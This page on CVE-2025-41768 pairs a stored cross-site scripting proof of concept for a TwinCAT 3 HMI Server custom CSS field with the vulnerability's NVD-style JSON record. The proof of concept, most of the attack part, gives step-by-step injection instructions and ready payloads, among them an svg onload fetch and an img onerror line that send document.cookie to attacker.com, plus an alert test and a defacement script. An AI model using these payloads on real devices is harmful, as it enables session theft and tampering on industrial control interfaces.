CVE-2025-41768

// CVE-2025-41768 Stored XSS PoC // Target: Device Custom CSS Field // Login to the device admin panel first // Then navigate to Custom CSS settings // Inject the following payload in the CSS field: const xssPayload = '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Alternative payloads: // 1. Basic alert test: // <script>alert(document.domain)</script> // 2. Cookie stealing: // <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie"> // 3. DOM manipulation: // <script>document.body.innerHTML='<h1>Pwned</h1>'</script> // After injecting, any user viewing the affected page will trigger the payload

{"cve": {"id": "CVE-2025-41768", "sourceIdentifier": "[email protected]", "published": "2026-01-20T09:15:59.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An high privileged remote attacker can inject arbitrary content into the custom CSS field on the affected devices due to improper neutralization of input during web page generation ('Cross-site Scripting')."}, {"lang": "es", "value": "En una instancia de TwinCAT 3 HMI Servidor ejecutándose en un dispositivo, un administrador autenticado puede inyectar contenido arbitrario en el campo CSS personalizado, que se persiste en el dispositivo y luego es devuelto a través de la página de inicio de sesión y la página de error."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-106", "source": "[email protected]"}]}}